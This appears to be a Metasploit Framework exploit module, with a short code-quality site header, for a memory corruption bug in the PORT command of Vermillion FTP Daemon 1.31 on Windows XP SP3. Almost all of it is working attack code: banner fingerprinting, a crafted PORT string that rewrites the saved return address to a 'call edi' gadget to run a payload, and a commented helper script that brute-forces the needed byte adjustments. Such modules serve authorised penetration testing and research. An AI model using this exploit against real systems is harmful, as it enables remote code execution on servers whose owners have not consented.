rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/ftp/vermillion_ftpd_port.rb

Summary

Maintainability
A
1 hr
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vermillion FTP Daemon PORT Command Memory Corruption',
      'Description'    => %q{
          This module exploits an out-of-bounds array access in the Arcane Software
        Vermillion FTP server. By sending a specially crafted FTP PORT command,
        an attacker can corrupt stack memory and execute arbitrary code.

        This particular issue is caused by processing data bound by attacker
        controlled input while writing into a 4 byte stack buffer. Unfortunately,
        the writing that occurs is not a simple byte copy.

        Processing is done using a source ptr (p) and a destination pointer (q).
        The vulnerable function walks the input string and continues while the
        source byte is non-null. If a comma is encountered, the function increments
        the destination pointer. If an ascii digit [0-9] is encountered, the
        following occurs:

          *q = (*q * 10) + (*p - '0');

        All other input characters are ignored in this loop.

        As a consequence, an attacker must craft input such that modifications
        to the current values on the stack result in usable values. In this exploit,
        the low two bytes of the return address are adjusted to point at the
        location of a 'call edi' instruction within the binary. This was chosen
        since 'edi' points at the source buffer when the function returns.

        NOTE: This server can be installed as a service using "vftpd.exe install".
        If so, the service does not restart automatically, giving an attacker only
        one attempt.
      },
      'Author'         =>
        [
          'jduck'   # metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '62163' ],
          [ 'EDB', '11293' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          # format string max length
          'Space'    => 1024,
          'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
          'DisableNops'    =>  'True'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true }  ],

          #
          # specific targets
          #
          [    'vftpd 1.31 - Windows XP SP3 English',
            {
              # call edi in vftpd.exe (v1.31)
              'OldRet' => 0x405a73, # not used directly
              'Ret'     => 0x4058e3, # not used directly
              'Offset' => 16,       # distance to saved return
              'Adders' => "171,48"  # adjust the bottom two bytes
            }
          ]
        ],
      'DisclosureDate' => '2009-09-23',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(21),
      ])
  end


  def check
    connect
    disconnect
    vprint_status("FTP Banner: #{banner}".strip)
    if banner =~ /\(vftpd .*\)/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end


  def exploit

    # Use a copy of the target
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")
      connect
      disconnect

      if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        print_status("No matching target")
        return
      end

      self.targets.each do |t|
        if (t.name =~ /#{version} - /) then
          mytarget = t
          break
        end
      end

      if (not mytarget)
        print_status("No matching target")
        return
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
    end


    connect

    stuff = payload.encoded
    # skip 16 bytes
    stuff << "," * mytarget['Offset']
    # now we change the return address to be what we want
    stuff << mytarget['Adders']

    if (res = send_cmd(['PORT', stuff]))
      print_status(res.strip)
    end

    disconnect
    handler

  end
end


=begin

NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...

=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#

$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)

oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')


def process_idx(oret, nret, adders, idx)
  new_val = oret[idx]
  digits = adders[idx].to_s.unpack('C*')
  digits.each { |dig|
    dig -= 0x30
    new_val = (new_val * 10) + dig
  }
  return (new_val & 0xff)
end


# brute force approach!
final_adders = [ nil, nil, nil, nil ]

adders = []
4.times { |idx|
  next if (oret[idx] == nret[idx])
  10.times { |x|
    10.times { |y|
      10.times { |z|
        adders[idx] = (x.to_s + y.to_s + z.to_s).to_i

        val = process_idx(oret, nret, adders, idx)
        if (val == nret[idx])
          final_adders[idx] = adders[idx]
        end

        break if (final_adders[idx])
      }
      break if (final_adders[idx])
    }
    break if (final_adders[idx])
  }
}


# check/print the solution
eret = []
4.times { |idx|
  eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
  puts final_adders.join(',')
  exit(0)
end

puts "unable to find a valid solution!"
exit(1)

=end